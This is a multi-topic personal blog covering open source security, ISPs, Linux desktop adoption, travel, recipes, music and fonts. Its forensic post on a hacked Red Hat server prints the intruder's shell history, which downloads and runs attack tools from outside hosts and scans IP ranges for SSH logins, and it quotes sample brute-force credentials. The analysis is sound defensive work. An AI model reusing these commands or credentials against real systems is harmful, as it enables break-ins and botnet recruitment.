Segurança em Open Source

Cezar Taurion, excelente consultor e colega de trabalho, engatou seu blog no developerWorks. Gostaria de complementar seu artigo da Linux Magazine de dezembro de 2006 com algumas aspectos sobre segurança.

Não há como afirmar que Open Source é mais seguro que Closed Source, ou que Closed Source é mais seguro que Open Source. Quem o afirma, geralmente faz por religião e não por análise fria.

Considero-me especialista em segurança, mas evito ao máximo tocar neste assunto ao falar com clientes em geral, quando o âmbito é Open Source. Só quando eles perguntam. Simplesmente porque cada um terá uma opinião, e porque nehuma opinião pode ser verdadeiramente constatada.

Vamos dividir o mundo Open Source em dois blocos. No primeiro desfilam as escolas do grupo 1, campeões de audiência como o Apache HTTP Server, Samba, boa parte do Kernel, Bind, OpenSSH, DHCP, Firefox, OpenOffice.org, libc, que são arrasadoramente populares, e literalmente seguram a festa da Internet no ar. A lista não é muito maior que essa.

E no grupo 2 ficam todos os outros projetos Open Source, disputando um lugar ao sol e na passarela das distribuições Linux. Aqui estão as dezenas de milhares de projetos abandonados do SourceForge.net, e também projetos longe da criticidade das do grupo 1, mas já um pouco mais usados, como Gnome, KDE, X.org, a outra parte do Kernel, OpenLDAP, NAS, VNC, ImageMagick, Bash, Gimp, Kopete, Gaim, libc++, libxml, ntp, e mais todo o resto que não aparece no grupo 1 mas que está instalado aí no seu computador.

Enquanto pensamos que no closed source podem haver pontos inacessivelmente inseguros e backdoors, devemos também nos perguntar se há realmente pessoas analisando todo Open Source que interessa, com enfoque em segurança. Pense no grupo 2.

Sobre segurança em Open Source, a única coisa que podemos afirmar é que o código se mantém aberto para quem quiser auditá-lo (característica que o closed source não tem e nem quer ter). Mas novamente, isso não é garantia de que suas falhas serão achadas.

No grupo 1, dos superpopulares, a estória é outra. Eles são naturalmente submetidos a stress massivo e constante do mundo real. E a dependência que muitas empresas e indivíduos tem desse grupo os leva a se relacionar de forma simbiótica com sua evolução. Usam o fato de ter o fonte disponível para auditar e contribuir melhorias.

A separação entre os grupos não é tão nítida. Usei só para ilustrar. A fronteira é na verdade uma larga faixa de projetos Open Source com diferentes graduações de popularidade, stress e uso.

É preciso ter a soma de dois aspectos para se ter a melhor segurança: código fonte aberto + extrema popularidade, sendo o último mais importante (e mais difícil de alcançar) que o primeiro.

Um closed source também tem sua chance de ser seguro. Basta a empresa que o fabrica cuidar bem de seu produto. Se ele for popular, ela tende a cobrar menos para executar este trabalho. Se for menos popular, mas ainda desejado pelos clientes, seu preço tende a ser mais alto.

O nabo é dos NETs

Complementando a estória do Antônio “LedStyle” Cláudio, eu tenho NET de 200kbps em Higienópolis. É tão bom quanto 200kpbs conseguem ser.

Mas quero aumentar a velocidade, e depoimentos como o dele dão medo. O pior de tudo é o atendimento péssimo das centrais dessas prestadoras. E o serviço é bem caro, mas vamos dizer que atribuo isso ao fato de que custo de banda core no Brasil é caríssimo.

Diga-se de passagem, meu pai colocou 2mbps em casa, com NET Fone. Ele fez uma análise meticulosa das tarifas de ligação telefônica comparando outras operadoras, e disse que o preço do minuto NET é bem mais caro. A NET diz que é mais barato. Bem, isso é uma meia verdade, somente em alguns horários, para ligações locais muito curtas. Como diz o ditado, uma meia verdade é uma mentira.

Antes eu tinha o Giro, da Vesper/Embratel. 300kbps de baixa qualidade que vinham através de um modem sem fio que usava a infraestrutura CDMA da Vesper, e era conectado por USB no computador, e tinha suporte ruim para Linux.

Por ironia do destino, o atendimento telefônico do Giro da Vesper era ótimo. Atendentes sinceros, com bom conhecimento técnico e que retornavam ligações depois de fazer análises bem feitas. Fiz questão de registrar isso quando infelizmente cancelei o serviço porque sua tecnologia não me atendia.

OSDL Linux Client Survey Analysis is Out

On January 25th the OSDL released their 2006 Linux client survey analysis, which identified the following barriers for Linux deployment on desktops:

  1. Application availability
  2. Quality of peripheral support
  3. End user training
  4. Desktop management issue

It is not that applications don’t exist for the Linux desktop, but users grow accustomed to certain applications that they just can’t live without.

Users report they are missing applications as Microsoft Office (OpenOffice.org is the alternative), Adobe Photoshop (which has The Gimp as the closest, but still far alternative), AutoCAD (with QCad as a very far similar) and others.

For peripherals, this is the list:

  1. Printers
  2. Personal storage devices (i.e. USB memory)
  3. Scanners
  4. Digital cameras
  5. Mail and messaging devices
  6. Web cam / video
  7. Smartphones

However, it is still difficult to buy a printer at your local electronics store and expect it to work out of the box on a Linux machine. While most printers are supported on Linux, there is still a lag from the time when a printer hits the market to when the driver driver is available and automatically installed on your computer by a commercial distro update.

And as a Linux user, I must add that when the device works, it usually won’t work with its full set of capabilities, because drivers are usually written by third parties on the OSS world – and not by their manufacturers, which are expected to have a much deeper knowledge (and project commitment) on these hardware capabilities.

So the problem is a committed application and drivers development. Well, how can companies commit themselves to develop desktop software (which means friendly to non-technicall users) in a world that had not decided yet about some elementary standards? Yes, there is the FreeDesktop.org initiative but the standards they are focused on are more related to KDE-Gnome interoperability.

Most important standards that must be defined will find their home in a layer bellow: LSB. But unfortunately, the Linux Standard Base still has a big job to finish and still seems to have difficulties to catch up with ISVs.

As an example, there is no de facto standard defined for things as trivial as a configuration files format for the whole system, not only for desktop apps. This is particularly important because configurations are what makes software run in a specific way. They are the soul of any software (while code is the body). A popular standard for configurations will provide ways for any software to collaborate with, and auto-configure any other software. On Windows, this was successfully achieved with its registry. On Linux, similar but broader and better alternatives exist (as the Elektra Initiative), but this is a subject that seems to not inspire the OSS community.

Standards bodies can’t do everything alone. The community must be ready for changes, adaptations, and have courage to throw away code that was not choosed by the standard, and start focusing on what was selected to be part of it. Courage to stop reinventing the wheel. For example, on a vanilla KDE installation you will find about 4 different media players (Amarok, Juk, kboodle, noatun, etc) and 3 different plain editors (kate, kedit, kwriter). If you have Gnome installed on same system, add a few more to each class of applications (and to the icons that will appear on your menus). This is confusing, fat and bad.

Another important fact on the analysis is a 49% desktop share for Canonical’s Ubuntu Linux, against RHEL and SLED with 16% each. RHEL and SuSE are more popular on servers and are essentially and structurally different distributions, but both use RPM as their packaging system. While Ubuntu is radically different from both, based on Debian, with the DEB format for packages. A well known and well used packaging system is very important on a desktop world, because this is what guarantees an easy, painless software installations and upgrades. So if I am an ISV with limited technicall staff and time resources, how should I package my software for easy deployment? DEB or RPM? If RPM, should I focus on Red Hat or SuSE flavors? Though questions.

Application vendors cannot afford to develop, distribute, and support applications across a fragmented Linux market.

Red Hat and Novell should look at their future server market, paying attention on what is happening today on the desktop. History shows that people tend to bring to work (and to servers) what they like and use on their desktops at home. This is Ubuntu’s long term strategy and they seem to be succeeding, at least on their first phase.

Ponto de Luz

Queda d'água na pousadaDias atrás tirei umas férias curtas e resolvi conhecer o legendário Ponto de Luz, pousada zen na Serra da Mantiqueira, quase divisa entre São Paulo e Minas.

A viagem foi fácil, pela Rodovia Fernão Dias. Depois, uma bela estrada até Joanópolis e depois uns 19km de estrada de terra até a pousada. Este último trecho tem belas paisagens rurais de colinas, pomares e criação de gado. Há bastente gente morando ao longo da estrada. Havia muitas bifurcações e encruzilhadas, sempre sinalizadas com o caminho a se tomar para chegar a pousada. Saí às 11:00 de São Paulo e cheguei umas 13:30, prontinho para almoçar.

A pousada é propositadamente rústica-chique, como tantas outras por alí, em São Francisco Xavier, Gonçalves, Monteiro Lobato, etc. Como a região é montanhosa, é também cheia de rios, e a propriedade era cortada pelo Ribeirão da Vergem Escura (afluente da bacia do Rio Piracicaba) cujas pedras formavam um grande poço que convidava para um banho. Nos dias em que estive lá, a água estava um pouco barrenta por causa das chuvas, mas em outras épocas o rio tem águas cristalinas. Há um belo caminho aberto até o rio, e perto da margem colocaram uns assentos que serviam para nada além da pura contemplação da natureza.

Centro do Mapa
no mapa
Hotel Ponto de Luz

(interaja com o mapa)

Rede na varanda do quartoA grande sacada do arquiteto foi construir a pousada na encosta do morro. Isso funcionava bem para dar vista alta, de qualquer ponto da pousada, para o outro lado do rio e para colinas verdejantes e arborizadas. Inclusive do refeitório e da varanda dos quartos com sua rede de balanço.

E falando nisso, a comida era bem simples mas muito gostosa, essencialmente vegetariana, às vezes com uma opção de frango ou peixe. Sempre havia sobremesas dietéticas. O serviço era ótimo, atencioso, e a inclinação exotérica da pousada parecia plantar uma consciência holística nos funcionários.

Só o preço foi na minha opinião um pouco além da conta. R$204 pela diária, incluindo as 3 refeições mais o lanche da tarde. Por pessoa. Estou acostumado a viajar pela região e sei que os preços não são bem esses. Mas calculei que no valor há uma boa lapa de moda de turismo exotérico. Aí fiquei surpreso que no final ainda me convidaram a pagar 10% de taxa de serviço opcional que é dividida entre os funcionários no final do mês. Argumentei que a pousada como um todo já era um serviço, e que não fazia sentido uma taxa de serviço sobre um serviço que por sinal já estava bem pago. Acabei sucumbindo porque continuar a discussão ia ser constrangedor para a situação. Terminou mal explicado.

Havia uma agenda de atividades diárias, com caminhada leve de manhã, algum tipo de hidroginástica antes do almoço e meditação no fim do dia, logo depois do lanche da tarde. Experimentei lá, pela primeira vez, a meditação dinâmica, especialmente desenhada para pessoas estressadas da cidade grande, como eu. Bem legal. Mas, como toda meditação, exige disciplina para se fazer todos os dias. No segundo dia meditamos num pequeno templo charmoso, construido a toque de caixa para a visita de um guru indiano.

TerapiasDepois da meditação dava um pulo na piscina aquecida onde ficava de molho até a noite. O clima não estava convidativo para a piscina aberta e fria. O resto do tempo passava na rede da varanda do quarto, lendo, ouvindo música e observando as colinas tranqüilamente. Ou dava uma olhada na lojinha anexa, cheia de coisas no melhor estilo “além-da-lenda” (a coleção de CDs para vender era ótima, e levei alguns títulos). Ou ainda pode-se fazer uma das terapias e massagens disponíveis em seu cardápio de serviços, cobrados a parte, claro. Nos finais de semana parece que há palestras e atividades musicais, mas infelizmente não pude ficar para ver.

O pessoal da pousada conta que há hóspedes que reclamam que não há “nada” para fazer lá, nem telefone, nem TV, e acabam fugindo de volta para sua cidade agitada.

Bem, eu não sofro desse mal e ficaria lá pelo tempo que fosse, porque o Ponto de Luz é um lugar de paz contemplativa.

Receita de Quiabo Atomatado

Quiabos

Ingredientes

  • ½ kilo de quiabo, de preferência os menores
  • 2 latas de tomates inteiros despelados
  • ½ cebola picada
  • Azeite extra virgem
  • 2 pitadas de páprica picante (opcional)
  • Adoçante ou açucar
  • Sal a gosto

Modo de Preparo

  1. Limpe os quiabos removendo com uma faca a parte externa escura da circunferência de sua cabeça, mas não remova a cabeça inteira. Lave e deixe escorrer.
  2. Pique um pouco os tomates mas deixe pedaços para contarem a história.
  3. Refogue a cebola em um pouco de azeite e acrescente o purê de tomate.
  4. Adicione o quiabo, cortando os maiores no meio já sobre a panela.
  5. Adicione sal a gosto, a páprica picante, e umas 10 gotas de adoçante ou o equivalente em açucar.
  6. Adicione 2 dedos de água e misture bem. Cozinhe em fogo baixo, com a panela tampada por 15 minutos.
  7. Destampe, continue mexendo com fogo baixo por mais uns 15 minutos, até o tomate reduzir (secar) ao ponto de não sobrar molho mas só pedaços molhados de tomate.

A páprica picante combina muito bem com o leve sabor adocicado fortalecido pelo tomate. E o quiabo…. ah, o quiabo….

Sirva frio ou quente.

Na Trilha do Invasor

Qualquer administrador de firewall pode observar em seus registros que uma máquina conectada à Internet não fica um minuto sequer, 24 horas por dia, livre de tentativas de invasão. Tem sempre alguém fazendo uma varredura, tentando algum tipo estranho de conexão, requisitando URLs inseguras aos servidores web, enfim, batendo na porta. Parece que as pessoas têm se protegido bem já que não lembro de ter ouvido histórias detalhadas sobre um ataque efetivamente acontecendo.

Tive a oportunidade de analisar um computador que foi invadido e vou relatar aqui as evidências que os crackers deixaram para trás, como as descobrimos, e o que lhes interessava naquela máquina. Vou usar nomes fictícios e mascarar alguns IPs para resguardar a privacidade de todos.

Vamos chamar os invasores de crackers, porque hackers somos todos nós que respiramos tecnologia, “fuçadores” (tradução da palavra hacker), exploradores, pessoas curiosas. Somos todos hackers porque usamos nossas mentes poderosas para resolver problemas, ganhar dinheiro licitamente, enfim, fazer o bem. Um cracker por outro lado, usa seu conhecimento para invadir, deteriorar, tirar vantagem, e dar trabalho aos hackers administradores de redes. Um cracker é um mau hacker, e um bom hacker pode impedir a ação de um cracker.

Os Rastros Deixados pelo Cracker

O servidor em questão era uma máquina de testes internos na empresa A, que em determinado momento foi deslocada para um novo teste conectada à Internet, sem uma reinstalação. Tudo começou quando, poucas semanas após estar conectada à Internet, uma empresa que chamaremos de B, enviou um e-mail para P (provedor do link físico para a máquina atacada) informando que detectou uma tentativa de ataque, e requisitou um retorno. P encaminhou o e-mail para A, e esse continha alguns logs com a prova da tentativa de invasão:

Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Histórico do Ataque

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5....T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
"smbd -D"
"(swapd)" &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D"
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz...linhas omitidas...
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

  • No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
  • Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

  • Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
  • Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
  • Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
  • Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
  • Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
  • E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
  • As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Como Enganar Seus Sentidos

  1. Arrume 3 bacias ou 3 recipientes em que caibam suas mãos
  2. Coloque água gelada numa, água quente (mas não pelando) em outra, e água normal na terceira
  3. Mergulhe a mão esquerda na de água gelada e a direita na quente, e espere 30 segundos
  4. Tire e mergulhe as duas mãos juntas na terceira bacia e somente usando seus sentidos diga se ela está quente ou fria
  5. Preste atenção na temperatura que cada mão sente

Crianças adoram esta experiência.

Para os adultos, esta experiência tem uma “moral da estória” que depois eu conto.

Viola and Rabeca

The brazilian Viola Caipira has nothing to do with the orchestral Viola, used mostly in classical performances. It was brought to Brazil by the first portuguese people, and modified and evolved, making it almost a genuine, Brazilian-only instrument now.

It is used mostly on country-side small cities or farm regions of Brazil. And songs played with Viola Caipira sound like these places: home-made food, green landscapes, country life.

Almir Sater is a well known violeiro that used to be more active with the viola, and as an example, one of its beautiful compositions, Luzeiro, was used to open an old TV show focused on farming.

ViolaThere are other excellent violeiros, as Paulo Freire [blog], Roberto Correa, Ivan Vilela, Braz da Viola and many others. Levi Ramiro is one of my favorites, with its Estiva Grande.

Songs played with Viola use to be accompanied by a Rabeca, a sort of simplified violin. Luis Eduardo Gramani was one of our masters in Rabeca compositions, writing beautiful songs as Deodora.

Do not forget to right click on each song link to download the hi-fi MP3 file.

O Carroceiro e o Fauno

Carroceiro no Conjunto NacionalOntem fui ao cinema assistir O Labirinto do Fauno.

Mas não vim falar sobre isso, e sim sobre a escultura gigantêsca, muito bem feita, realista e impressionante de um carroceiro descansando, sua carroça cheia de tralhas e seu cão, que plantaram bem no meio da galeria do Conjunto Nacional. Parece que a obra chama-se O Fazedor de Montanhas de Silvio Galvão.

Paulistanos, não percam. Vá até lá descobrir o que ele está segurando em sua mão esquerda, e não contente-se com esta foto.

Ah, e o filme é bem bom também. Pesado, mas bom. Vale a pena.

Freetype with Bytecode Interpreter

I am the maintainer and writer of most of the official Linux Font-HOWTO [official home], and one of its main points is to explain what is the TrueType Bytecode Interpreter.

I spent some time this morning updating the freetype package on my system [get RPMs], compiling it with support to BCI, and I took the chance to get some “before & after” screenshots of Konqueror browser accessing Google Mail with and without BCI.

Check it out. This is better than makeup ads:

Before: Original Freetype lib without BCI After: New Freetype RPM compiled with BCI
freetype4-nbci.png freetype4-bci.png
freetype1-nbci.png freetype1-bciaa.png freetype1-bci.png
freetype2-nbci.png freetype2-bciaa.png freetype2-bci.png
freetype3-nbci.png freetype3-bciaa.png freetype3-bci.png

After switching to BCI-enabled freetype, the use of Webcore fonts without anti-aliasing gives much much much better results, as you can see. Unfortunately these fonts are not free, but they are better than the popular Bitstream Vera fonts because they include hinting information.

BTW, anti-aliasing is useful in 2 situations only: if you are rendering fonts in big sizes (bigger than 13px), or if you have bad, non-hinted fonts (as Bitstream Vera) with a bad font rendering library (as Freetype without BCI support). If you have good hinted fonts and a good rendering library (as Freetype with BCI), restrict anti-alising only for big font sizes.

My Podcasts

A podcast is a blog that, in addition to text, also publishes media files. So you need a special “reader” to listen them, so people use softwares like iTunes, Amarok, iPodder to subscribe and automatically get the media.

I’m officially releasing my podcasts here, posting songs in high quality MP3 format. These are the channels, subscribe using the orange buttons below:

Enjoy.

Parafuso

Parafuso is an instrumental masterpiece by brazilian Ronen Altman, played by the Orquestra Popular de Câmara.

OPC sort of brought a globalization conscience to brazilian instrumental music, mixing together a great number of instruments and musical styles. They are in evidence in the innovative tradition of brazilian jazz from São Paulo.

If this song was a building, it would look like modern architecture: functional, beautiful, strong and light.

Enjoy.

Receita de “Apio”

Esta receita chama-se Apio porque é assim que os búlgaros — prováveis inventores do preparo — a chamam, e por falta de um nome melhor. É um prato delicioso, fácil de fazer, leve, refrescante, e quem prova quer a receita.

Apio é aipo em ladino, espanhol etc. Aipo é a raiz do salsão, também conhecido como celery. É preciso um pouco de insistência para achá-lo nas feiras do Brasil.

Há dois tipos de salsão: o branco americano, e o mais escuro (com raiz ainda branca). É deste último que se aproveita os melhores aromas, e cujas folhas e caule emprestam mais sabor a molhos etc. O salsão branco quase não tem gosto, e dele não se usa a raiz.

Ingredientes

  • 3 raizes de aipo
  • 4 ou 5 cenouras médias
  • suco de 1 limão
  • 2 colheres de sopa de azeite virgem
  • Adoçante ou açúcar
  • Sal a gosto
  • Água

Modo de Preparo

  1. Descasque as raizes de aipo. Se você encontrar lesmas no meio, por favor remova-as se você for me convidar para jantar.
  2. Lave as raizes descascadas, fatie com meio centímetro de grossura ou menos, e corte no meio as fatias grandes. Vá juntando num recipiente com água para ajudar a não escurecer.
  3. Descasque as cenouras, fatie e junte para cozinhar numa panela grande com o azeite já quente. Vá mexendo.
  4. Escorra e junte o aipo fatiado nas cenouras que já devem estar meio cozidas.
  5. Misture bem adicionando 2 copos de água.
  6. Deixe ferver por uns 15 minutos em fogo baixo.
  7. Adicione sal a gosto, adoçante (umas 20 gotas ou o equivalente em açúcar) e o suco de limão. É importante ficar levemente doce.
  8. Deixe cozinhar por mais uns 5 minutos, até diminuir bastante a água, mas não completamente.
  9. Teste a dureza do aipo e cenoura para ver se estão prontos. Se precisar de mais tempo, garanta que há sempre um dedo de água no fundo da panela.

A cenoura tem duas missões nesta receita: emprestar sua cor vibrante ao prato e tomar emprestado o aroma delicado e exótico da raiz de aipo.

Sirva frio, possivelmente como uma deliciosa entrada. Isto é uma rara iguaria.

Sobre Podcast

Uma vez perguntei a um amigo o que é um podcast, e ele disse que é um MP3. Bem, isso é tão minimalista quanto dizer que um Gaudí é um amontoado de tijolos, ou que a Internet é uma porção de bits dançantes.

